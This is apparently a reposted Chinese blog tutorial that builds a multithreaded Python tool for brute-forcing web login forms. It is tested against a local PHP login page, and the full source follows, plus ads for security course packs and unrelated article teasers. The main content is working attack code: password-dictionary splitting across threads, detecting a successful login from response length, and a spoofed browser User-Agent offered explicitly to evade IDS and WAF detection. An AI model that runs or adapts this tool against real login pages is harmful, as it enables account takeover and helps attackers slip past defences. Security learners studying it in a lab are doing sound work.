Python开发:简单的密码爆破工具

news2024/11/18 17:45:33

当我们进行在线密码破解时,使用 BurpSuite 以及 wfuzz 足以应对大部分网站应用场景。但是在遇到一些特殊情况时我们还是需要自己来开发密码爆破工具,本文将介绍如何使用Python开发一款简单的密码爆破工具。

 

0x01 背景介绍

密码破解

记得有大佬曾经说过:一个系统的突破往往是从弱口令开始,为了拿到弱口令我们就需要了解密码破解技术。密码破解主要分为离线密码破解和在线密码破解。

在平时渗透时我们通常遇到的就是在线密码破解,破解对象包括各类系统服务以及各种网站应用,当我们面对rdp、ftp、ssh等服务,一般情况下可使用 hydra、超级弱口令爆破工具进行破解;而假如面对的是网站应用,最常用到的就是 BurpSuite、wfuzz。

离线破解主要出现在后渗透阶段,在系统中存在各种加密的哈希值,借助 hashcat、john 等破解工具则能够有效地帮助我们完成密码破解,遇到实在无法破解的密文我们还可以放入在线破解网站进行解密。

Python

Python是一种简单易学,功能强大的编程语言,它有高效率的高层数据结构,简单而有效地实现面向对象编程。Python简洁的语法和对动态输入的支持,再加上解释性语言的本质,使得它在大多数平台上的许多领域都是一个理想的脚本语言,特别适用于快速的应用程序开发。

0x02 环境搭建

我在 macOS 下使用环境搭建工具为 MAMP,环境语言为 PHP。没有 mac 的同学可在 Windows 下可使用 phpstudy 代替即可。MAMP 默认开放8888端口,访问后出现如下界面说明环境开启成功。

截屏2022-04-09 下午11.19.53

源代码以POST方式传递账号密码,主要用于测试密码爆破,具体代码如下:

<?php
$con = mysqli_connect("localhost:8889","root","root","test");
if (mysqli_connect_errno())
{
    echo "Fail: ".mysql_connect_error();
}
$username = $_POST['username'];
$password = $_POST['password'];
$submit = $_POST['submit'];
if ($submit == "submit"){
	$result = mysqli_query($con,"select * from users where `username`='".addslashes($username)."' and `password`='".addslashes($password)."'");
}

$row = mysqli_fetch_array($result);
if ($row){
    exit("login success");
}else{
    exit("login failed");
}
?>

为了配合密码破解在数据库中创建users表并存入一些账号密码。

截屏2022-04-09 下午11.26.00

使用 Python 进行测试并输入正确的账号密码。

import requests

url = "http://127.0.0.1:8888/python_test/brute/brute_submit.php"
r = requests.post(url, data={"username": "admin", "password": "123456", "submit": "submit"}, headers=headers)

print(r.text)

成功返回login success说明环境搭建成功。

截屏2022-04-09 下午11.33.50

0x03 工具开发

配置optparse模块

首先我们使用 Python 自带的 OptParse 模块定制程序的参数选项控制,基本用法如下。

1、导入OptionParser类并新建对象OptionParser()
2、添加选项: add_option(…)
3、参数解析: parse_args()

在 add_option() 中可配置如下参数。

dest: 决定解析后取值时的属性名
type: 选项的值类型,默认类型是字符串
help: 选项中的帮助信息
metavar: 显示到 help 中选项的默认值
action: 用于控制对选项和参数的处理,可设置为以下几种字符串:
 - "store": 储存值到 dest 指定的属性,强制要求后面提供参数
 - "store_true": 当使用该选项时后面的 dest 将设置为 true, 不跟参数
 - "store_false": 当使用该选项时后面的 dest 将设置为 false,常配合另一个 "store_true" 的选项使用同一个 dest 时使用,不跟参数
 - "append": 储存值到 dest 指定的属性并且是以数组的形式, 必须跟参数
 - "store_const": 用来存储参数为 const 设置的值到 dest 指定的属性当中,常用于 dest 为同名2个以上选项时的处理,不跟参数
 - "append_const": 用来存储参数为 const 设置的数组到 dest 指定的属性当中,不跟参数
 - "count": 使用后将给储存值到 dest 指定的属性值加1,可以统计参数中出现次数,不跟参数
 - "callback": 后面指定回调函数名(不加括号),会将相应opt和args传给回调函数
 - "help", "version": 对应为帮助和版本,要另外自己设计时使用

有了以上知识的了解,我们可为爆破工具配置对应的参数选项,主要包括请求地址、账号字典、密码字典以及进程。

import optparse

parser = optparse.OptionParser()
parser.usage = "web_brute.py -s url -u user_file -p pass_file -t num"
parser.add_option("-s", "--site", dest="website", metavar="url", help="website to test", action="store", type="string")
parser.add_option("-u", "--userfile", dest="userfile", metavar="FILE", help="username from file", action="store", type="string")
parser.add_option("-p", "--passfile", dest="passfile", metavar="FILE", help="password from file", action="store", type="string")
parser.add_option("-t", "--threads", dest="threads", help="number of threads", action="store", type="int")

(options, args) = parser.parse_args()

使用-h命令查看输出的帮助信息。

截屏2022-04-10 上午12.34.44

确认payload

密码字典和线程主要用于控制 payload 请求,线程决定并发的 payload 请求数,而密码决定具体的 payload 请求内容。

import math

# 输入参数选项
website = options.website
threads = options.threads
user_dict = options.userfile
pass_dic = options.passfile

pass_list = []
# 打开密码字典
with open(pass_dic) as f:
    temp_list = f.readlines()
    temp_threads_list = []
    # 使用临时列表的项数除以线程数确定每一个线程中的项数
    num = len(temp_list)
    result = num/threads

    # 选择floor向下取整
    result_num = math.floor(result)

    # 根据项数分配 payload
    flag = 0
    for line in temp_list:
        flag = flag + 1
        temp_threads_list.append(line.strip())
        if flag == result_num:
            flag = 0
            pass_list.append(temp_threads_list)
            temp_threads_list = []

    # 如果存在余数需添加多余项
    for line in temp_threads_list:
        pass_list[threads-1].append(line)

 

多线程扫描

多线程扫描需导入 threading、requests 模块,从字典中获取用户以及密码作为请求参数进行扫描,我们可根据返回长度来判断登陆是否成功。

import requests
import threading

def scan(payload):
    user = payload["username"]
    pass_list = payload["pass_list"]
    # 遍历密码发送请求
    for password in pass_list:
        r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"})
        # 打印扫描结果
        print(user + " : " + password + " length=" + str(len(r.text)) + "\n")

threads_list = []
# 打开账号字典
with open(user_dict) as f:
    user_dict = f.readlines()
    # 确定payload
    for user in user_dict:
        for pass_line in pass_list:
            payload = {"username": user.strip(), "pass_list": pass_line}
            threads_list.append(threading.Thread(target=scan, args=(payload,)))

# 启动线程
for thread in threads_list:
    thread.start()

 

测试与优化

使用以上代码对目标进行测试,查看扫描效果。

python3 web_brute.py -s http://127.0.0.1:8888/python_test/brute/brute_submit.php -u username.txt -p password.txt -t 4

截屏2022-04-10 上午1.27.21

结果虽然能够完成对目标的测试并成功获取不同的返回值,但是一旦账号密码足够多的话我们很难从一堆扫描结果中找到登陆成功的账号密码,因此我们可定义 test 类作为参考,使用一个错误的返回值进行对比并输出最终的扫描结果。

def test():
    url = "http://127.0.0.1:8888/python_test/brute/brute_submit.php"
    r = requests.post(url, data={"username": "mac", "password": "mac", "submit": "submit"})
    return len(r.text)

def scan(paylaod):
    ...
    for password in pass_list:
        r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"},)
        if len(r.text) != test():
            print(user + ":" + password + " login success")

再次进行测试,返回结果只显示登录成功的账号密码以及扫描结果。

截屏2022-04-10 上午1.34.39

但是这其中还存在一个问题:使用 requests 库会在请求头中设置默认的User-agent

截屏2022-04-10 上午1.39.41

为了躲避 IDS、WAF 等防御设备,我们可以定制请求头为正常的浏览器请求。

def scan(payload):
    ...
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36"
    }
    for password in pass_list:
        r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"}, headers=headers)

截屏2022-04-10 上午1.42.17

测试成功,这样一来一个简单的密码爆破工具开发完成,源码如下:

import math
import optparse
import threading

import requests

parser = optparse.OptionParser()
parser.usage = "web_brute.py -s url -u user_file -p pass_file -t num"
parser.add_option("-s", "--site", dest="website", metavar="url", help="website to test", action="store", type="string")
parser.add_option("-u", "--userfile", dest="userfile", metavar="FILE", help="username from file", action="store", type="string")
parser.add_option("-p", "--passfile", dest="passfile", metavar="FILE", help="password from file", action="store", type="string")
parser.add_option("-t", "--threads", dest="threads", help="number of threads", action="store", type="int")

(options, args) = parser.parse_args()

website = options.website
threads = options.threads
user_dict = options.userfile
pass_dic = options.passfile

pass_list = []
with open(pass_dic) as f:
    temp_list = f.readlines()
    temp_threads_list = []
    num = len(temp_list)
    
    result = num/threads
    result_num = math.floor(result)
   
    flag = 0

    for line in temp_list:
        flag = flag + 1
        temp_threads_list.append(line.strip())
        if flag == result:
            flag = 0
            pass_list.append(temp_threads_list)
            temp_threads_list = []

    for line in temp_threads_list:
        pass_list[threads-1].append(line)

def test():
    url = "http://127.0.0.1:8888/python_test/brute/brute_submit.php"
    r = requests.post(url, data={"username": "admin", "password": "12345", "submit": "submit"})
    return len(r.text)

def scan(payload):
    user = payload["username"]
    pass_list = payload["pass_list"]
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36"
    }
    for password in pass_list:
        r = requests.post(url=website, data={"username": user, "password": password, "submit": "submit"}, headers=headers)
        if len(r.text) != test():
            print(user + ":" + password + " login success")

threads_list = []
with open(user_dict) as f:
    user_dict = f.readlines()
    for user in user_dict:
        for pass_line in pass_list:
            payload = {"username": user.strip(), "pass_list": pass_line}
            threads_list.append(threading.Thread(target=scan, args=(payload,)))

for thread in threads_list:
    thread.start()

 以后我们可修改其中的参数、变量来应对不同的应用环境。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1716208.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

企业网络的“瑞士军刀”:探索“一端多能”设备的多面性

在数字化时代&#xff0c;企业网络需求的复杂性和多样性不断增长&#xff0c;传统的单一功能网络设备已难以满足这些需求。企业需要一种集多种功能于一身的“一端多能”网络设备&#xff0c;以应对各种网络环境和业务需求&#xff0c;就像是一把多功能、灵活、可靠的瑞士军刀&a…

函数编程实际应用-异步任务

背景 常见的函数式接口&#xff0c;就是对函数编程的应用Runnable 没有返回值的函数式接口Callable 有返回值的函数式接口 使用线程池 一般来说&#xff0c;很少使用new Thread&#xff08;函数对象&#xff09;这种方式来直接 创建线程&#xff0c;更多的时候使用的线程成来集…

SOL 交易机器人基本知识

有没有可以盈利的机器人&#xff1f; 是的&#xff0c;各行各业都有许多盈利机器人。在金融领域&#xff0c;交易机器人被广泛用于自动化投资策略并根据预定义的算法执行交易。这些机器人可以分析市场趋势并做出快速决策&#xff0c;从而可能带来可观的回报。同样&#xff0c;在…

英飞凌24GHz毫米波雷达-BGT24LTR11N16家用机器人应用

BGT24LTR11N16基础描述&#xff1a; 关于BGT24LTR11N16&#xff0c;它是一款用于信号生成和接收的硅锗雷达MMlC&#xff0c;工作频率为24.00GHz至24.25GHz ISM频段。它基于24GHz基本电压控制振荡器&#xff08;VCO&#xff09;。 这颗芯片是属于1T1R&#xff0c;也就是一发一收…

linux开发之设备树五、设备树描述中断实践

设备树是基于设备总线模型的&#xff08;platform&#xff09; 1、添加节点 假设中断引脚为&#xff1a;GPIO0_B5 下面使用设备树来描述它 1、写节点&#xff0c;起节点名字 这里用了ft5x06的触摸芯片&#xff0c;然后I2C的地址为38 2、为节点添加属性 首先添加compatible…

【CALayer-时钟练习-CADisplayLink Objective-C语言】

一、我们接着来看,这个CADisplayLink啊, 1.刚才我们说那个时间呢,差上1秒钟的样子,然后呢,我们现在呢,用这个叫做CADisplayLink的东西,来解决,用这个类,来解决啊, 我们说,NSTimer,是跑到这儿了以后,一秒钟以后, 它才会执行,这个timeChange方法,真正的时间,不…

【NumPy】深入理解NumPy的dot函数:矩阵乘法与点积运算详解

&#x1f9d1; 博主简介&#xff1a;阿里巴巴嵌入式技术专家&#xff0c;深耕嵌入式人工智能领域&#xff0c;具备多年的嵌入式硬件产品研发管理经验。 &#x1f4d2; 博客介绍&#xff1a;分享嵌入式开发领域的相关知识、经验、思考和感悟&#xff0c;欢迎关注。提供嵌入式方向…

MySQL8找不到my.ini配置文件以及报sql_mode=only_full_group_by解决方案

一、找不到my.ini配置文件 MySQL 8 安装或启动过程中&#xff0c;如果系统找不到my.ini文件&#xff0c;通常意味着 MySQL服务器没有找到其配置文件。在Windows系统上&#xff0c;MySQL 8 预期使用my.ini作为配置文件&#xff0c;而不是在某些情况下用到的my.cnf文件。 通过 …

报错注入常用的三种注入方式(flool ,extractvalue、updatexml)

报错注入常用的三种注入方式(flool ,extractvalue、updatexml) 在学习sql注入的过程中经常会遇到一些没有显示位的sql注入靶场&#xff0c;所以一般的注入的方式就无法再使用&#xff0c;在这种情况下我们可以使用函数报错注入的方式&#xff0c;通过报错查询和显示我们想要得到…

【教学类-59-】专注力视觉训练01(圆点百数图)

背景需求&#xff1a; 视觉训练的神奇效果&#xff0c;让你的宝贝成为焦点 - 小红书魔法视觉追踪-视觉训练—— &#x1f50d;视觉训练&#x1f50d; &#x1f539;想要提高宝宝的专注力&#xff0c;视觉训练是个绝佳方法&#xff01; &#x1f539;让宝宝仔细观察数字的路线&a…

PageHelper多数据源无法自动切换数据源问题解决

在使用PageHelper进行分页处理的过程中&#xff0c;通过配置autoRuntimeDialect: true发现&#xff0c;在执行MySQL分页处理后&#xff0c;继续执行SqlServer的分页&#xff0c;使用的仍然是MySQL的语法&#xff0c;PageHelper并没有进行自动切换数据源处理。 在查看源码的时候…

西湖大学提出AIGC检测框架,精准识别AI撰写的文稿

近年来人工智能技术突飞猛进&#xff0c;尤其是大语言模型的出现&#xff0c;让AI具备了创作文章、小说、剧本等内容的能力。 AI代写&#xff0c;已经逃不过老师、编辑、审稿人的火眼金睛了。但让AI仅改写部分片段&#xff0c;就安全了么&#xff1f; 针对检测AI改写的片段&a…

基于FMEA保证汽车电控系统的可靠性

随着汽车技术的飞速发展&#xff0c;电控系统已成为现代汽车的“大脑”&#xff0c;掌控着车辆的方方面面。然而&#xff0c;这一复杂的系统也面临着诸多潜在失效风险&#xff0c;如何确保汽车电控系统的可靠性&#xff0c;成为汽车制造业亟待解决的问题。幸运的是&#xff0c;…

设计模式 18 迭代器模式 Iterator Pattern

设计模式 18 迭代器模式 Iterator Pattern 1.定义 迭代器模式 (Iterator Pattern) 是一种行为型设计模式&#xff0c;它提供了一种访问集合元素的标准方法&#xff0c;而无需暴露集合的内部表示。 提供一种方法顺序访问一个聚合对象中的各个元素&#xff0c;而又不需要暴露该…

DiffBIR论文阅读笔记

这篇是董超老师通讯作者的一篇盲图像修复的论文&#xff0c;目前好像没看到发表在哪个会议期刊&#xff0c;应该是还在投&#xff0c;这个是arxiv版本&#xff0c;代码倒是开源了。本文所指的BIR并不是一个single模型对任何未知图像degradation都能处理&#xff0c;而是用同一个…

如何解压忘记了密码的加密zip压缩包?这两个方法收藏好!

加密是一种保护信息不被未经授权访问的重要手段。ZIP压缩包作为一种常见的文件压缩格式&#xff0c;zip文件加密是很多人都回去做的一件事情&#xff0c;那么zip加密文件如何解密&#xff1f;有几种方法可以解密呢&#xff1f;今天介绍几种方法给大家。 一、尝试常用密码 我们…

2.1色彩空间

色彩发送器 色彩认知 光源是出生点&#xff0c;光源发射出光线&#xff0c;光线通过直射反射折射等路径最终进入人眼。 但人眼接收到光线后&#xff0c;人眼的细胞产生了一系列化学反应。 由此把产生的信号传入大脑&#xff0c;最终大脑对颜色产生了认知感知。 光的要素 光…

如何让Google快速收录?

要让Google快速收录你的网站&#xff0c;可以考虑使用GSI服务&#xff0c;这是一种专门设计来加速网站被Google搜索引擎收录的服务&#xff0c;下面详细解释GSI服务的基本原理和具体好处&#xff1a; GSI服务通过一种名为GPC爬虫池的系统实现&#xff0c;这个系统是基于对Goog…

多条文本转二维码怎么做?一键批量建码的使用技巧

怎么快速的制作多条文本信息的二维码&#xff1f;随着二维码的广泛使用&#xff0c;现在很多内容都可以通过生成二维码扫码的方式来获取信息&#xff0c;其他文本二维码就是比较常用的一种类型。那么当需要将多条不同的文本内容每条单独生成二维码时&#xff0c;有什么方法可以…

python列表元素操作与函数应用详解

新书上架~&#x1f447;全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我&#x1f446;&#xff0c;收藏下次不迷路┗|&#xff40;O′|┛ 嗷~~ 目录 一、列表元素加一的实现方法 示例代码 二、列表生成式的简化操作 三、列表反转函数revers…